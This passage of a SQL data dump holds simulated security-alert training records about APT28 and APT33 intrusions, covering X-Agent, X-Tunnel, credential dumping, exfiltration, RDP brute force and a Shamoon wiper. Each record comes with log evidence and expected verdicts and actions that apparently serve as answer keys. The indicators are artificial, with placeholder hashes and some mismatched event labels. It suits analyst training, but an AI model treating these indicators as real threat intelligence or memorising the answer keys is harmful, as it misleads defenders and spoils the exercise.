http://dnc-security-update.com/login?\\\",\\\"attachment\\\":\\\"none\\\",\\\"url\\\":\\\"http://dnc-security-update.com/login?\\\",\\\"sender_ip\\\":\\\"198.51.100.23\\\",\\\"recipient_ip\\\":\\\"192.168.1.45\\\",\\\"malicious_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"threat_actor\\\":\\\"APT28\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(798, 'X-Agent Implant Executed', 'high', 'Endpoint detection and response (EDR) logs', 'APT28 deployed the X-Agent implant on a compromised system, executing malware to maintain access and collect data. EDR detected the execution of a suspicious binary associated with known APT28 activities.', 'Execution', 'T1059', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:18Z\",\"event_id\":\"4625\",\"computer_name\":\"compromised-host.local\",\"user\":\"DOMAIN\\\\compromised_user\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"process_name\":\"C:\\\\Windows\\\\Temp\\\\xagent.exe\",\"process_hash\":\"f1d2d2f924e986ac86fdf7b36c94bcdf32beec15\",\"command_line\":\"xagent.exe -collect -report\",\"network_activity\":[{\"protocol\":\"TCP\",\"destination_ip\":\"198.51.100.24\",\"destination_port\":443}]}', '2026-01-12 22:16:51', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"Known APT28 C2 server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.24\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"APT28 associated IP\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"f1d2d2f924e986ac86fdf7b36c94bcdf32beec15\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareBazaar\",\"verdict\":\"malicious\",\"details\":\"X-Agent malware sample\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"C:\\\\Windows\\\\Temp\\\\xagent.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"LocalEDR\",\"verdict\":\"malicious\",\"details\":\"Detected execution of known APT28 malware\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(799, 'X-Tunnel Backdoor Established', 'high', 'Network traffic analysis', 'The attackers have successfully established a persistent backdoor using the X-Tunnel tool to maintain secure communication with their command and control servers. This is an intermediate level threat indicating ongoing persistent access.', 'Persistence', 'T1105 - Ingress Tool Transfer', 1, 'new', NULL, '{\"timestamp\":\"2023-10-07T14:23:45Z\",\"event_id\":\"1003\",\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"185.92.220.75\",\"protocol\":\"TCP\",\"port\":\"443\",\"filename\":\"x-tunnel-backdoor.exe\",\"file_hash\":\"7b9f8e2b5f9c3a4d5e6f7a8b9c0d1e2f\",\"username\":\"jdoe\",\"action\":\"establish_connection\",\"description\":\"Established connection between internal host and external C2 server using encrypted tunnel.\"}', '2026-01-12 22:16:51', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in suspicious activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.92.220.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"Known command and control server IP associated with APT28.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"7b9f8e2b5f9c3a4d5e6f7a8b9c0d1e2f\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known X-Tunnel malware used by APT28.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(800, 'Credential Dump for Lateral Movement', 'high', 'Active Directory logs', 'APT28 has utilized harvested credentials to perform lateral movement within the DNC network. The threat actor aimed to maximize access and control over critical systems by leveraging stolen credentials.', 'Lateral Movement', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:45:00Z\",\"event_id\":\"4624\",\"logon_type\":\"3\",\"logon_process\":\"NtLmSsp\",\"ip_address\":\"185.123.45.67\",\"username\":\"j.doe\",\"domain\":\"DNC\",\"target_server\":\"192.168.1.15\",\"hash\":\"5d41402abc4b2a76b9719d911017c592\",\"filename\":\"ntds.dit\"}', '2026-01-12 22:16:51', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.123.45.67\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDatabase\",\"verdict\":\"malicious\",\"details\":\"IP associated with APT28 operations.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Employee account used in suspicious activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash related to possible credential dumping tool.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"ntds.dit\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Critical Active Directory database file.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Identity\",\"evidence\":{\"user\":{\"username\":\"jdoe\",\"display_name\":\"John Doe\",\"department\":\"Finance\",\"manager\":\"Jane Smith\"},\"risk_score\":85,\"recent_activity\":[{\"action\":\"Login Success\",\"ip\":\"10.0.0.5\",\"location\":\"New York, US\",\"time\":\"09:00 AM\"},{\"action\":\"Password Reset Request\",\"ip\":\"192.168.1.5\",\"location\":\"New York, US\",\"time\":\"09:05 AM\"},{\"action\":\"Login Failed\",\"ip\":\"203.0.113.99\",\"location\":\"Moscow, RU\",\"time\":\"02:00 AM\",\"flag\":true}]}}', 0),
(801, 'Data Exfiltration to External Servers', 'high', 'Data loss prevention (DLP) systems', 'Sensitive data exfiltrated to external servers and later weaponized to influence the 2016 election.', 'Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:22:47Z\",\"event_id\":\"DLPE-20231005142247\",\"source_ip\":\"10.0.15.23\",\"destination_ip\":\"198.51.100.14\",\"username\":\"jdoe\",\"exfiltrated_files\":[{\"filename\":\"confidential_report_2023.pdf\",\"hash\":\"3cda541c8b2f5e5f5a438e3b2a8f3d4a\",\"size\":\"3.2MB\"}],\"related_domain\":\"malicious-exfiltration.com\",\"connection_protocol\":\"HTTPS\",\"detection_method\":\"anomalous data transfer\",\"description\":\"Large data transfer detected to external IP associated with known malicious domain.\",\"correlation_id\":\"C-20231005-XYZ123\"}', '2026-01-12 22:16:51', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.14\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with APT28 and previous exfiltration activities.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Employee with access to sensitive data.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3cda541c8b2f5e5f5a438e3b2a8f3d4a\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"File hash potentially linked to known exfiltration tools.\"}},{\"id\":\"artifact_4\",\"type\":\"domain\",\"value\":\"malicious-exfiltration.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Domain Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Domain used in previous APT28 campaigns.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.449Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:22:47Z\\\",\\\"event_id\\\":\\\"DLPE-20231005142247\\\",\\\"source_ip\\\":\\\"10.0.15.23\\\",\\\"destination_ip\\\":\\\"198.51.100.14\\\",\\\"username\\\":\\\"jdoe\\\",\\\"exfiltrated_files\\\":[{\\\"filename\\\":\\\"confidential_report_2023.pdf\\\",\\\"hash\\\":\\\"3cda541c8b2f5e5f5a438e3b2a8f3d4a\\\",\\\"size\\\":\\\"3.2MB\\\"}],\\\"related_domain\\\":\\\"malicious-exfiltration.com\\\",\\\"connection_protocol\\\":\\\"HTTPS\\\",\\\"detection_method\\\":\\\"anomalous data transfer\\\",\\\"description\\\":\\\"Large data transfer detected to external IP associated with known malicious domain.\\\",\\\"correlation_id\\\":\\\"C-20231005-XYZ123\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.449Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:22:47Z\\\",\\\"event_id\\\":\\\"DLPE-20231005142247\\\",\\\"source_ip\\\":\\\"10.0.15.23\\\",\\\"destination_ip\\\":\\\"198.51.100.14\\\",\\\"username\\\":\\\"jdoe\\\",\\\"exfiltrated_files\\\":[{\\\"filename\\\":\\\"confidential_report_2023.pdf\\\",\\\"hash\\\":\\\"3cda541c8b2f5e5f5a438e3b2a8f3d4a\\\",\\\"size\\\":\\\"3.2MB\\\"}],\\\"related_domain\\\":\\\"malicious-exfiltration.com\\\",\\\"connection_protocol\\\":\\\"HTTPS\\\",\\\"detection_method\\\":\\\"anomalous data transfer\\\",\\\"description\\\":\\\"Large data transfer detected to external IP associated with known malicious domain.\\\",\\\"correlation_id\\\":\\\"C-20231005-XYZ123\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.449Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:22:47Z\\\",\\\"event_id\\\":\\\"DLPE-20231005142247\\\",\\\"source_ip\\\":\\\"10.0.15.23\\\",\\\"destination_ip\\\":\\\"198.51.100.14\\\",\\\"username\\\":\\\"jdoe\\\",\\\"exfiltrated_files\\\":[{\\\"filename\\\":\\\"confidential_report_2023.pdf\\\",\\\"hash\\\":\\\"3cda541c8b2f5e5f5a438e3b2a8f3d4a\\\",\\\"size\\\":\\\"3.2MB\\\"}],\\\"related_domain\\\":\\\"malicious-exfiltration.com\\\",\\\"connection_protocol\\\":\\\"HTTPS\\\",\\\"detection_method\\\":\\\"anomalous data transfer\\\",\\\"description\\\":\\\"Large data transfer detected to external IP associated with known malicious domain.\\\",\\\"correlation_id\\\":\\\"C-20231005-XYZ123\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.449Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:22:47Z\\\",\\\"event_id\\\":\\\"DLPE-20231005142247\\\",\\\"source_ip\\\":\\\"10.0.15.23\\\",\\\"destination_ip\\\":\\\"198.51.100.14\\\",\\\"username\\\":\\\"jdoe\\\",\\\"exfiltrated_files\\\":[{\\\"filename\\\":\\\"confidential_report_2023.pdf\\\",\\\"hash\\\":\\\"3cda541c8b2f5e5f5a438e3b2a8f3d4a\\\",\\\"size\\\":\\\"3.2MB\\\"}],\\\"related_domain\\\":\\\"malicious-exfiltration.com\\\",\\\"connection_protocol\\\":\\\"HTTPS\\\",\\\"detection_method\\\":\\\"anomalous data transfer\\\",\\\"description\\\":\\\"Large data transfer detected to external IP associated with known malicious domain.\\\",\\\"correlation_id\\\":\\\"C-20231005-XYZ123\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.449Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:22:47Z\\\",\\\"event_id\\\":\\\"DLPE-20231005142247\\\",\\\"source_ip\\\":\\\"10.0.15.23\\\",\\\"destination_ip\\\":\\\"198.51.100.14\\\",\\\"username\\\":\\\"jdoe\\\",\\\"exfiltrated_files\\\":[{\\\"filename\\\":\\\"confidential_report_2023.pdf\\\",\\\"hash\\\":\\\"3cda541c8b2f5e5f5a438e3b2a8f3d4a\\\",\\\"size\\\":\\\"3.2MB\\\"}],\\\"related_domain\\\":\\\"malicious-exfiltration.com\\\",\\\"connection_protocol\\\":\\\"HTTPS\\\",\\\"detection_method\\\":\\\"anomalous data transfer\\\",\\\"description\\\":\\\"Large data transfer detected to external IP associated with known malicious domain.\\\",\\\"correlation_id\\\":\\\"C-20231005-XYZ123\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(802, 'Unusual RDP Logins Detected', 'high', 'Network Security Logs', 'APT33 initiated an attack by exploiting weak RDP credentials to gain unauthorized access to Saudi Aramco\'s network. Multiple login attempts were observed from a known malicious IP address.', 'Initial Access', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T02:23:45Z\",\"event_type\":\"RDP Login Attempt\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.15.87\",\"username\":\"admin_user\",\"success\":false,\"attempt_count\":5,\"associated_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"file_name\":\"rdp_brute_force.exe\",\"log_id\":\"123456789\"}', '2026-01-12 22:17:37', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple APT33 campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.15.87\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of Saudi Aramco network\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"suspicious\",\"details\":\"Unexpected login attempts for this account\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash related to known APT33 malware\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"rdp_brute_force.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Threat Analysis\",\"verdict\":\"malicious\",\"details\":\"Executable used in brute force RDP attacks\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'advanced', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.450Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T02:23:45Z\\\",\\\"event_type\\\":\\\"RDP Login Attempt\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.15.87\\\",\\\"username\\\":\\\"admin_user\\\",\\\"success\\\":false,\\\"attempt_count\\\":5,\\\"associated_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"file_name\\\":\\\"rdp_brute_force.exe\\\",\\\"log_id\\\":\\\"123456789\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.450Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T02:23:45Z\\\",\\\"event_type\\\":\\\"RDP Login Attempt\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.15.87\\\",\\\"username\\\":\\\"admin_user\\\",\\\"success\\\":false,\\\"attempt_count\\\":5,\\\"associated_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"file_name\\\":\\\"rdp_brute_force.exe\\\",\\\"log_id\\\":\\\"123456789\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.450Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T02:23:45Z\\\",\\\"event_type\\\":\\\"RDP Login Attempt\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.15.87\\\",\\\"username\\\":\\\"admin_user\\\",\\\"success\\\":false,\\\"attempt_count\\\":5,\\\"associated_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"file_name\\\":\\\"rdp_brute_force.exe\\\",\\\"log_id\\\":\\\"123456789\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.450Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T02:23:45Z\\\",\\\"event_type\\\":\\\"RDP Login Attempt\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.15.87\\\",\\\"username\\\":\\\"admin_user\\\",\\\"success\\\":false,\\\"attempt_count\\\":5,\\\"associated_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"file_name\\\":\\\"rdp_brute_force.exe\\\",\\\"log_id\\\":\\\"123456789\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.450Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T02:23:45Z\\\",\\\"event_type\\\":\\\"RDP Login Attempt\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.15.87\\\",\\\"username\\\":\\\"admin_user\\\",\\\"success\\\":false,\\\"attempt_count\\\":5,\\\"associated_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"file_name\\\":\\\"rdp_brute_force.exe\\\",\\\"log_id\\\":\\\"123456789\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(803, 'Execution of Malicious Payload', 'critical', 'Endpoint Detection and Response (EDR) Systems', 'The attackers executed the Shamoon payload, initiating the process of wiping data from targeted workstations. This action is indicative of the destructive phase of the attack.', 'Execution', 'T1486 - Data Encrypted for Impact', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T14:32:45Z\",\"event_type\":\"process_execution\",\"host_ip\":\"192.168.1.45\",\"host_name\":\"workstation-23\",\"user\":\"jdoe\",\"process_name\":\"wiper.exe\",\"process_id\":4567,\"parent_process_name\":\"cmd.exe\",\"parent_process_id\":1234,\"command_line\":\"C:\\\\Windows\\\\System32\\\\wiper.exe -run\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"attacker_ip\":\"203.0.113.66\",\"attacker_domain\":\"malicious-actor.example.com\"}', '2026-01-12 22:17:37', '2026-02-16 17:59:30', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.66\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with previous Shamoon attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"File hash associated with Shamoon malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"wiper.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"endpoint_detection\",\"verdict\":\"malicious\",\"details\":\"Executable known to be used by Shamoon malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(804, 'Registry Modification and Service Creation', 'high', 'Windows Registry Logs', 'APT33 has been detected modifying registry keys and creating a new service named \'WinSecureService\' to maintain the persistence of wiper malware across system reboots. The modification involved adding autorun registry entries and creating a service linked to the malicious binary \'wiper.exe\'.', 'Persistence', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T08:45:37Z\",\"event_id\":4657,\"user\":\"admin_user\",\"computer_name\":\"compromised-host.internal\",\"registry_key_path\":\"HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\"new_service_name\":\"WinSecureService\",\"service_executable\":\"C:\\\\Windows\\\\System32\\\\wiper.exe\",\"malware_hash\":\"9b0a1e3d4f5e6a7c8b9d0e1f2c3b4a5d\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.10\",\"action\":\"Registry Key Modified, Service Created\"}', '2026-01-12 22:17:37', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known APT33 command and control server.\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"wiper.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Associated with APT33 wiper campaign.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"9b0a1e3d4f5e6a7c8b9d0e1f2c3b4a5d\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known APT33 malware sample.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.452Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:37Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"admin_user\\\",\\\"computer_name\\\":\\\"compromised-host.internal\\\",\\\"registry_key_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"new_service_name\\\":\\\"WinSecureService\\\",\\\"service_executable\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wiper.exe\\\",\\\"malware_hash\\\":\\\"9b0a1e3d4f5e6a7c8b9d0e1f2c3b4a5d\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"action\\\":\\\"Registry Key Modified, Service Created\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.452Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 